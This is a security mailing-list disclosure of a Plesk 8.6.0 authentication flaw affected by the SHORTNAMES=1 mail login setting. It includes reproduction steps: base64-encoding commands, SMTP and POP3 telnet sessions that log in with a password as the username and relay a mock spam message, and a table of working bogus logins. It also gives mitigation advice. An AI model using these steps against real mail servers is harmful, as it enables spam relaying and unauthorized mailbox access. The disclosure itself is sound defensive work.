Plesk 8.6.0 authentication flaw allows to gain virtual user priviledges

[Felix Buenemann <Felix.Buenemann () gmx de>]

Hello,

the reported vulnerability allows logins to mail and probably other 
services protected by plesk authentication modules on at least the 
current Plesk 8.6.0 Unix/Linux and could eg. be used for relaying spam 
through gained smtp auth priviledges.
Only systems which allow short mail login names (SHORTNAMES=1) are 
affected, which is not the default but is eg. effective after migrating 
from Confixx control panel or by administrators manual choice.

My curent advice is to disable short login names through control panel 
under Server -> E-Mail until the issue is resolved.


NOTICE: I have tried to contact Parallels about this issue by E-Mail to 
bugreport () parallels com, bugreports () parallels com and 
abuse () parallels com. With the E-Mail to bugreport and abuse being 
bounced and to bugreports being ignored.
Tries to contact through web support form were unsuccessful because my 
plesk license is subcontracted from a serviced provide, so I see no 
other choice than gaining attention to this issue by releasing it to a 
security related mailing list.

Below is the full Mail I sent to Parallels about this issue:
---snip---
Hello,

I have discovered severe security flaws in Plesk 8.6.0 regarding the 
SHORTNAMES=1 feature for E-Mail logins, that could easily lead to 
compromised accounts and spam relaying.
The bugs could be reproduced on an existing Plesk 8.6.0 system with data 
migrated from older Plesk Versions and originall from Confixx aswell as 
on a fresh test install of Plesk 8.6.0 both on OpenSUSE 10.3 x86_64 and 
using psa autoinstaller.

(1) If SHORTNAMES=1 is active for smtp_psa or smtps_psa in xinetd, QMAIL 
will accept ANY correctly base64 encoded username which begins with a 
valid shortname or equals a valid password during AUTH LOGIN 
authentication. This is only fixed by completely removing SHORTNAMES=1 
from smtp(s)_psa, simply setting it to 0 has no effect.

Steps to reproduce:

- make sure smtp_psa contains: "env = SMTPAUTH=1 SHORTNAMES=1"

- generate a bogus username and encode to base64: "printf 
'<validalias><bogustext>' | base64" eg. 'fbbogus' -> ZmJib2d1cw== 
(alternatively and more easily reproducible encode <validpass> from 
below to base64 and use as a username)

- encode a valid password of a mail user to base64 "printf '<validpass>' 
| base64" eg. 'password' -> cGFzc3dvcmQ=

- telnet to mailserver smtp port
< 220 HELO mailserver ESMTP
> > AUTH LOGIN
< 334 VXNlcm5hbWU6
> > cGFzc3dvcmQ=
< 334 UGFzc3dvcmQ6
> > cGFzc3dvcmQ=
< 235 go ahead
> > DATA
< 354 go ahead
> > From: Spam Sender <bogus () bogusdomain com>
> > To: Spam Receiver <outside () outsidedomain com>
> > Subject: Get SPAM cheaply
> >
> > Message body.
> > .
< 250 ok 1219629627 qp 6032
> > QUIT
< 221 mailserver

The same Problem exists with Courier IMAP, checked over POP3 using 
cleartext USER / PASS and AUTH LOGIN authentication, SHORTNAMES=1 inside 
/etc/courier-imap/pop3d:
telnet to mailserver pop3 port:
+OK Hello there. <6274.1219631200@mailserver>
USER password
+OK Password required.
PASS password
+OK logged in.
LIST
+OK POP3 clients that break here, they violate STD53.
.
QUIT
+OK Bye-bye.



Example for working login combinations with sample domain somedomain.com 
and otherdomain.com:

Mail account: test () somedomain com pass: somesecret
Mail account: test2 () somedomain com pass: password

Mail accound: fwd () otherdomain com forwarded to somewhere () else com

Working login combinations with SHORTNAMES=1
OK: test / somesecret
OK: test () somedomain com / somesecret
OK: test2 / password
OK: test2 () somedomain com / password
BAD BUT WORKNG: somesecret / somesecret
BAD BUT WORKING: password / password
BAD BUT WORKING: test2bogus / somesecret
NOT WORKING: test2bogus / password
MAYBE NOT WORKING: testbogus / somesecret
MAYBE WORKING: fwdbogus / somesecret
MAYBE WORKING: fwdbogus / password

I cannot reproduce this behaviour on all account on the production 
system, but removing SHORTNAMES=1 from alls mailserver configs fixes the 
behaviour, although I haven't experimented with stuff like 
test@somedomain.combogustext as username.

I have not currently reported this security vulnerability anywhere else 
to protect plesk customers, but will reserve the right to post this to 
public security notification lists, if action to fix this problem is not 
taken in a timely manner by Parallels.

I can provide root login to the test system on request, just need to 
negotiate a timeframe because it's running in a VM behind a NAT router.

Best Regards,
   Felix Buenemann
---snip---

Best Regards,
   Felix Buenemann